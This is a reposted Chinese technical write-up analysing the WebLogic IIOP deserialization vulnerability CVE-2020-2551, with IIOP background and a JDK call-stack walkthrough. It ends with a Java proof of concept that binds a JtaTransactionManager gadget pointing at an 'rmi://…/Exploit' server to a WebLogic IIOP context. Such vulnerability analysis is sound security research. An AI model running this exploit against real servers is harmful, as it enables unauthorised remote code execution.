Weblogic IIOP反序列化分析(CVE-2020-2551)

2021-01-08 E安全

No.1 聲明

由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。

雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。

No.2 漏洞概述

2020年1月15日, Oracle官方發布了CVE-2020-2551的漏洞通告,漏洞等級為高危,CVVS評分為9.8分,漏洞利用難度低。影響範圍為10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0。

No.3 前置知識

相關概念

RMI: RMI英文全稱為Remote Method Invocation,字面的意思就是遠程方法調用,其實本質上是RPC服務的JAVA實現,底層實現是JRMP協議,TCP/IP作為傳輸層。通過RMI可以方便調用遠程對象就像在本地調用一樣方便。使用的主要場景是分布式系統。CORBA: Common Object Request Broker Architecture(公共對象請求代理體系結構)是由OMG(Object Management Group)組織制定的一種標準分布式對象結構。使用平臺無關的語言IDL(interface definition language)描述連接到遠程對象的接口,然後將其映射到制定的語言實現。IIOP: CORBA對象之間交流的協議,傳輸層為TCP/IP。它提供了CORBA客戶端和服務端之間通信的標準。借用知道創宇《關於 Java 中的 RMI-IIOP》一文來梳理一下JDK自身IIOP的一些處理過程,通過

rmic -iiop com.longofo.example.HelloImpl

在rmi-jndi-ldap-jrmp-jmx-jms-master/rmi-iiop/target/classes這個目錄下進行編譯,編譯好會在這個路徑下多出這些文件。

然後通過下面命令,啟動一個命名伺服器。

orbd -ORBInitialPort 1050 -ORBInitialHost loaclhost

IOR幾個關鍵欄位:

Type ID:接口類型,也稱為存儲庫ID格式。本質上,存儲庫ID是接口的唯一標識符。例如上面的IDL:omg.org/CosNaming/NamingContext:1.0IIOP version:描述由ORB實現的IIOP版本Host:標識ORB主機的TCP/IP位址Port:指定ORB在其中偵聽客戶端請求的TCP/IP埠號Object Key:唯一地標識了被ORB導出的servantComponents:包含適用於對象方法的附加信息的序列,例如支持的ORB服務和專有協議支持等Codebase:用於獲取stub類的遠程位置。通過控制這個屬性,攻擊者將控制在伺服器中解碼IOR引用的類,在後面利用中我們能夠看到。通過wireshakr進行抓包,查看數據包長什麼樣,首先 85 和 87 是客戶端與 ordb 通信的數據包。

先看85這個數據包,像ordb通信尋找服務端。

然後87這個數據包,就返回告訴他服務端的IP埠信息。

之後繼續往下走,可以看到反序列化的觸發的惡意類 EvilMessage 被封裝在了Stub data中,但是他並不是一個標準的Java反序列化過程。

回到項目,我決定在命令執行的地方下個斷點,看看數據流是怎麼走的,這是一個調用棧,其實可以很清楚的看到,由於與 CORBA 有關係,所以相關的類實際上都是在com.sun.corba這個類當中。

readObject:9, EvilMessage (com.longofo.example)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeObjectReader:1722, IIOPInputStream (com.sun.corba.se.impl.io)inputObject:1240, IIOPInputStream (com.sun.corba.se.impl.io)simpleReadObject:416, IIOPInputStream (com.sun.corba.se.impl.io)readValueInternal:341, ValueHandlerImpl (com.sun.corba.se.impl.io)readValue:307, ValueHandlerImpl (com.sun.corba.se.impl.io)read_value:977, CDRInputStream_1_0 (com.sun.corba.se.impl.encoding)read_value:271, CDRInputStream (com.sun.corba.se.impl.encoding)_invoke:-1, _HelloImpl_Tie (com.longofo.example)dispatchToServant:654, CorbaServerRequestDispatcherImpl (com.sun.corba.se.impl.protocol)dispatch:205, CorbaServerRequestDispatcherImpl (com.sun.corba.se.impl.protocol)handleRequestRequest:1700, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)handleRequest:1558, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)handleInput:940, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)callback:198, RequestMessage_1_2 (com.sun.corba.se.impl.protocol.giopmsgheaders)handleRequest:712, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)dispatch:474, SocketOrChannelConnectionImpl (com.sun.corba.se.impl.transport)doWork:1237, SocketOrChannelConnectionImpl (com.sun.corba.se.impl.transport)performWork:490, ThreadPoolImpl$WorkerThread (com.sun.corba.se.impl.orbutil.threadpool)run:519, ThreadPoolImpl$WorkerThread (com.sun.corba.se.impl.orbutil.threadpool)

這裡我選擇從 CorbaMessageMediatorImpl#handleRequestRequest 這裡開始看,因為後面都是開始處理輸入的數據了,在 messageMediator 對象中存放都是從客戶端發送的請求數據對象。

跟進 CorbaServerRequestDispatcherImpl#dispatch ,這裡需要慢慢看,通過 request.getObjectKey 獲取請求數據包中的 Object Key ,也就是唯一地標識了被 ORB 導出的 servant 。

這一步和之前的Okey都有關係,取出相關聯的數據,通過 getServantWithPI 進行處理,獲取 servant 。

跟進 getServantWithPI 進行處理,Servant 對象通過 getServant 進行處理獲取得到,然後 mdi 通過 objectAdapter.getInterfaces 方法通過 Servant 和 objectId 獲取我們這裡的接口RMI:com.longofo.example.HelloInterface:0000000000000000,objectId 是通過前面 Okey 弄到的。

然後會調用 dispatchToServant 進行處理,在CorbaServerRequestDispatcherImpl#dispatchToServant當中有幾個if判斷,而這幾個判斷都是和 method 或者 servant 有關係,method 是通過 request 對象中的 Operation ,通過SpecialMethod.getSpecialMethod搞定的。

然後幾個if判斷是如下所示:

if (method != null)if (servant instanceof org.omg.CORBA.DynamicImplementation)if (servant instanceof org.omg.PortableServer.DynamicImplementation)

而這裡最後來到的觸發點是else這裡。

OutputStream stream =(OutputStream)invhandle._invoke( operation, (org.omg.CORBA.portable.InputStream)req.getInputObject(), req);

而我們剛剛通過rmic -iiop com.longofo.example.HelloImpl創建的_HelloImpl_Tie實際上這裡有個_invoke方法,通過 read_value 從 request 請求中讀取數據,而我們看到 CDRInputStream 當中的 read_value 實際上和 Java 的序列化接口 Serializable 有關係,所以這裡也可以解釋為什麼是序列化,但是又不是標準的 InputStream 數據流。

而之後就是一些反序列化過程,比如這裡抓到了反序列化的觸發類。

然後通過 IIOPInputStream#invokeObjectReader 進行反射調用。

所以到這裡可以理解了,實際上IIOP也是一種序列化反序列化的方式,字節流與正常的Java反序列化稍微有點不太一樣。

No.4 Weblogic IIOP

搜索weblogic IIOP關鍵字的時候,找到一些關鍵詞,比如 Invoking-weblogic-ejb-iiop ,還有下圖中的一些demo,似乎和這些有關係。

而我們知道,weblogic之前是在T3位置進行反序列化檢查,IIOP位置沒有,通過搜尋引擎很快就能找到這個

Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory"Context.PROVIDER_URL, "t3://localhost:7001"

如果把T3改成IIOP是否可以把一個對象發送過去的,讓伺服器自己搞定呢,理由是可以的,weblogic 的RMI-IIOP模型如下:

從官方給的demo中可以看到,要實現這個需要繼承java.rmi.Remote,然後通過 bind 綁定對象,即可觸發。

所以這裡需要通過一些辦法把它變成 Remote 有關係,這裡可以通過Yso內置的Gadgets.createMemoitizedProxy來實現,AnnotationInvocationHandler 這個用來動態代理,把我要構造的利用鏈封裝成 Remote 類型。

所以下面這個poc的實現想法就是這麼來的,把 jtaTransactionManager 封裝成一個 Remote 類型,在bind時候觸發。

public static void main(String[] args) throws Exception {String ip = "127.0.0.1"; String port = "7001"; Hashtable<String, String> env = new Hashtable<String, String>(); env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory"); env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port)); Context context = new InitialContext(env); // get Object to Deserialize JtaTransactionManager jtaTransactionManager = new JtaTransactionManager(); jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit"); Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class); context.bind("hello", remote); }

上面這個 poc 有個缺點,就是需要外連,還有種辦法RMIServerImpl_Stub當中是可以通過 newClient 來實現本地類直接 invoke 反射執行,當然這個點我目前找到的需要認證,存在一定的缺陷。

本文轉載自雷神眾測

相關焦點

  • CVE-2020-2555:WebLogic RCE漏洞分析
    轉載:nosec 作者:iso600010x00 前言不安全的反序列化漏洞已經逐漸成為攻擊者/研究人員在面對Java Web應用時尋找的目標。這些漏洞通常能得到可靠的遠程代碼執行(RCE)效果,並且修復起來比較困難。
  • Yii2 反序列化漏洞復現分析
    Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在調用unserialize() 時,攻擊者可通過構造特定的惡意請求執行任意命令。web.php文件17行cookieValidationKey,可以隨便定義然後進入目錄php yii serve啟動接著添加一個存在漏洞的Action生成poc,poc.php發送請求,環境搭建成功3、漏洞分析
  • 如何判斷某漏洞CVE-2020-2551是否存在
    當檢測軟體檢測到漏洞例如CVE-2020-2551,如何判斷是否真的存在此漏洞?點擊下網址的2020年的4個月份,在對應文章裡搜索關鍵字「CVE-2020-2551」,解釋一下:由於CVE-2020-XXXX ,所以漏洞是在2020年發布並解決的,所以要到2020年對應補丁修復文章裡查詢。
  • wireshark使用及實列分析
    ,對wireshark數據包分析不太熟悉,特此學習記錄一下。本想再對主流掃描器和webshell管理工具抓包分析,但礙於篇幅和自己時間問題,沒有再深入下去。這裡主要挑選了weblogic反序列化,ms17_010,struts s2-057數據包進行實列分析。希望文章能對給位師傅有所幫助,文章中可能有很多不足和錯誤之處,還望各位師傅包涵。
  • CVE-2020-14882&14883weblogic未授權命令執行漏洞復現
    本文涉及靶場知識點-CVE-2020-14882&14883 weblogic未授權訪問漏洞https://www.hetianlab.com/expc.do?其中組合利用 CVE-2020-14882/CVE-2020-14883 可使未經授權的攻擊者繞過 WebLogic 後臺登錄等限制,最終遠程執行代碼接管 WebLogic 伺服器,利用難度極低,風險極大。此處漏洞均存在於 WebLogic 的控制臺中。該組件為 WebLogic 全版本自帶組件,並且該漏洞通過 HTTP 協議進行利用。
  • Java安全之反序列化漏洞分析
    方法,而反序列化是由ObjectInputStream的readObject方法實現的,下圖是作者畫的一個序列化示意圖:呵呵,意外往往就發生在不經意之間,如果反序列化過程中提供了命令執行的機會,那麼任意命令執行漏洞就產生了,如下我們在Session對象的readObject函數中增加了執行命令的代碼:
  • PHP反序列化漏洞說明
    序列化可以將對象轉換成字符串,但僅保留對象裡的成員變量,不保留函數方法。PHP序列化的函數為serialize,反序列化的函數為unserialize.舉個慄子:<?反序列化反序列化就是序列化的逆過程,即對於將對象進行序列化後的字符串,還原其成員變量的過程。接上述慄子:<?
  • 什麼是序列化,怎麼序列化,為什麼序列化,反序列化會遇到什麼問題,如何解決.
    一、序列化和反序列化的概念 序列化:把對象轉換為字節序列的過程稱為對象的序列化。反序列化:把字節序列恢復為對象的過程稱為對象的反序列化。上面是專業的解釋,現在來點通俗的解釋。FlyPig 對象序列化成功!FlyPig 對象反序列化成功!
  • 文庫 | 反序列化漏洞匯總
    不安全的反序列化是指網站對用戶可控制的數據進行反序列化時,攻擊者能夠操縱序列化的對象,以將有害數據傳遞到應用程式代碼中。簡而言之,反序列化不受信任的輸入是不安全的。漏洞影響不安全的反序列化的影響可能非常嚴重,因為它為大規模增加攻擊面提供了切入點。它允許攻擊者以有害的方式重用現有的應用程式代碼,從而導致許多其他漏洞,通常是遠程執行代碼(RCE)。即使在無法執行遠程代碼的情況下,不安全的反序列化也可能導致越權,任意文件訪問和拒絕服務攻擊。
  • php反序列化
    一個完全可控的反序列化輸入點,可以構造一個對象,通過構造序列化字符串,可以繼承任意類的屬性,控制任意類裡的變量。>Thinkphp5.0,5.1版本均存在反序列化,而且切入點都一樣,但因為thinkphp本身沒有反序列化入口,所以不被重視。
  • Java反序列化漏洞從理解到實踐
    在本文中,我們會深入分析大家非常熟悉的Java發序列化漏洞。對我們而言,最好的實踐就是真正理解手頭掌握的知識,並可以根據實際需要加以改進利用。本文的主要內容包括以下兩方面:1. 利用某個反序列化漏洞。2. 自己手動創建利用載荷。
  • PHP反序列化筆記
    \x00 + 類名 + \x00 + 變量名 ‐> 反序列化為private變量\x00 + * + \x00 + 變量名 ‐> 反序列化為protected變量<?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9PHP Session 反序列化PHP的3種序列化處理器PHP 內置了多種處理器用於存取$_SESSION數據時會對數據進行序列化和反序列化,常用的有以下三種,對應三種不同的處理格式
  • 支付寶面試:什麼是序列化,怎麼序列化,為什麼序列化,反序列化會遇到什麼問題,如何解決?
    一、序列化和反序列化的概念序列化:把對象轉換為字節序列的過程稱為對象的序列化。反序列化:把字節序列恢復為對象的過程稱為對象的反序列化。上面是專業的解釋,現在來點通俗的解釋。FlyPig 對象序列化成功!FlyPig 對象反序列化成功!
  • JAVA反序列化—FastJson抗爭的一生
    反序列化對象名稱:com.alibaba.fastjson.JSONObjectparseObject反序列化:{"name":"lala","age":11}//parseObject({},class)反序列化parseObject反序列化對象名稱:com.fastjson.UserparseObject反序列化:com.fastjson.User
  • 看代碼學安全(11) - unserialize反序列化漏洞
    漏洞解析:(上圖代碼第11行正則表達式應改為:』/O:d:/『)題目考察對php反序列化函數的利用。代碼 11行 ,第一個if,截取前兩個字符,判斷反序列化內容是否為對象,如果為對象,返回為空。php可反序列化類型有String,Integer,Boolean,Null,Array,Object。去除掉Object後,考慮採用數組中存儲對象進行繞過。
  • SUMAP網絡空間測繪|2021年CVE漏洞趨勢安全分析報告
    對於今天的網際網路安全我們更需要通過模型監測方式來持續觀察漏洞趨勢和影響範圍,才能持續應對漏洞爆發之後的安全趨勢分析評估。 本文主要通過網絡測繪角度手機各種資產協議的版本號信息,通過比對cve漏洞影響範圍中的版本號方式進行安全風險趨勢分析,無任何實際危害網際網路行為。資產在攜帶版本中也會存在修復補丁後版本不變的情況。
  • DASCTF-Esunserialize(反序列化字符逃逸)
    而值是兩個空字節和一個*,一共才3個字節,所以後面反序列化的時候會報錯。其實報錯的原因不是因為字符串長度不匹配,而是因為取了六個字符之後,後面字符的格式不符合序列化字符串格式,才會報錯。例如:取六個字符之後username的值為*";s:(其中還有一個空字節)。後面的格式不符合序列化字符串格式,拋出錯誤。PS:我個人理解是這樣的。
  • 原理+實踐掌握(PHP反序列化和Session反序列化)
    本文轉自先知社區:https://xz.aliyun.com/t/7366前言:最近又接觸了幾道php反序列化的題目,覺得對反序列化的理解又加深了一點,這次就在之前的學習的基礎上進行補充。0x01:PHP反序列化函數:unserialize()unserialize() 對單一的已序列化的變量進行操作,將其轉換回 PHP 的值。在解序列化一個對象前,這個對象的類必須在解序列化之前定義。
  • PHP反序列化漏洞簡介及相關技巧小結
    php程序為了保存和轉儲對象,提供了序列化的方法,php序列化是為了在程序運行的過程中對對象進行轉儲而產生的。序列化可以將對象轉換成字符串,但僅保留對象裡的成員變量,不保留函數方法。php序列化的函數為serialize。反序列化的函數為unserialize。